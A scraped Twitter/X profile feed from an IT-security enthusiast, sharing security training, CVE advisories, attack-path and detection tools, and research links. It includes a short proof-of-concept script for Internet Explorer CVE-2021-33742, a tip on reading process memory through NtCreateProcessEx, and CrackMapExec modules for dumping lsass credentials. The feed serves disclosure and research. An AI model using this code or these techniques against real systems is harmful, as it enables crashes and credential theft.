IT-Security, ArchLinux Enthusiast, More music..
Germany,K
Joined June 2011
- Tweets640
- Following792
- Followers195
- Likes2.4K
Great trainer and great content,
took the training and liked it A LOT!
💥 2026 - here we go! I am excited to announce the release of "Linux Attack, Detection, and Live Forensics v2.0 - Hands-on Purple Teaming Playbook"! In this fully hands-on guide, I've leveled up the Linux-oriented purple teaming experience to bridge the gap between red and blue teams like never before:
- 💙 Focus on cutting-edge research and development of Linux offensive techniques -> empowering blue teams to understand and anticipate real-world Linux threats.
- ❤️ Dive into the detection perspective, explore corresponding events, telemetry, evidence, and chained detections -> giving red teams the insights to refine their Linux evasion strategies.
- 💜 Map it all to expected EDR/Runtime functionalities and DFIR processes, fostering true collaboration for purple teaming excellence.
The link is here: edu.defensive-security.com/l…
CVE-2026-41651 — PackageKit TOCTOU ("Pack2TheRoot")
codeberg.org/hillu/cve-2026-…
brezel retweeted
Check out GoLinHound:
- Discovers Linux & SSH attack paths
- Outputs OpenGraph JSON for BloodHound ingestion
- Integrates with SharpHound and AzureHound data to unveil cross-technology attack paths
github.com/RantaSec/golinhou…
brezel retweeted
Watch the replay of VeloCON 2023 on our YouTube channel. You can relive the entire conference or watch any individual presentations you may have missed.
youtube.com/watch?v=WWB5xejU…
brezel retweeted
My latest North Korea research with @martyn_williams is now publicly available: lumen.global/reveal-report Also added it to the DB: dprktech.adversec.com/post/p…
brezel retweeted
Did you know that it is possible to read memory using a PROCESS_CREATE_PROCESS handle? Just call NtCreateProcessEx to clone the target process (and its entire address space), and then read anything you want from there.😎
brezel retweeted
Lately, two new tools for dumping the lsass process have come up: HandleKatz and nanodump 👀
I've integrated them to CrackMapExec as module:
1⃣ -M handlekatz
2⃣ -M nanodump
3⃣ -M procdump (as bonus 😝)
(dmp parsed by pypykatz from @SkelSec )
Available on @porchetta_ind 🪂
brezel retweeted
Threema does not have forward secrecy (soatok.blog/2021/11/05/three…) and local keys are stored insecurely. DROPPED from tiny.cc/thcstfu. Stay safe. #privacy #COP26
brezel retweeted
For a compromise assessment of #Exchange servers I recommend using our free THOR Lite scanner
We've added all rules & IOCs relevant to #ProxyShell exploitation & update them frequently
THOR Lite
nextron-systems.com/thor-lit…
YARA rules
github.com/Neo23x0/signature…
github.com/Neo23x0/signature…
brezel retweeted
ICYMI: Top hacks from Black Hat and DEF CON 2021 portswigger.net/daily-swig/t…
brezel retweeted
I've published my first 'Gist' combining several well known techniques to accomplish Windows workstation takeover in a default Active Directory Configuration. SMB writeable shares are spicier than ever. 🌶️
gist.github.com/gladiatx0r/1…
brezel retweeted
Made a SharpHound Collection Cheat Sheet
and a little post to go with it...
#BloodHoundAD
insinuator.net/2021/05/dogwh…
brezel retweeted
MSRC has release CVE-2021-34481 today.
msrc.microsoft.com/update-gu…
brezel retweeted
CVE-2021-33742 tweetable PoC:
<script>
var b = document.createElement("html");
b.innerHTML = Array(40370176).toString();
b.innerHTML = "";
</script>
We're also publishing root cause analyses for the four 0-days:
Chrome CVE-2021-21166: googleprojectzero.github.io/…
Chrome CVE-2021-30551: googleprojectzero.github.io/…
Internet Explorer CVE-2021-33742: googleprojectzero.github.io/…
Safari CVE-2021-1879: googleprojectzero.github.io/…
brezel retweeted
#Windows Hello face recognition can be bypassed using a USB device spoofing the camera and injecting images
@OmerTsarfati @CyberarkLabs Labs demonstrated why USB cameras and other biometric devices shouldn't be treated as a simple (untrusted) USB device
bit.ly/2VsVh07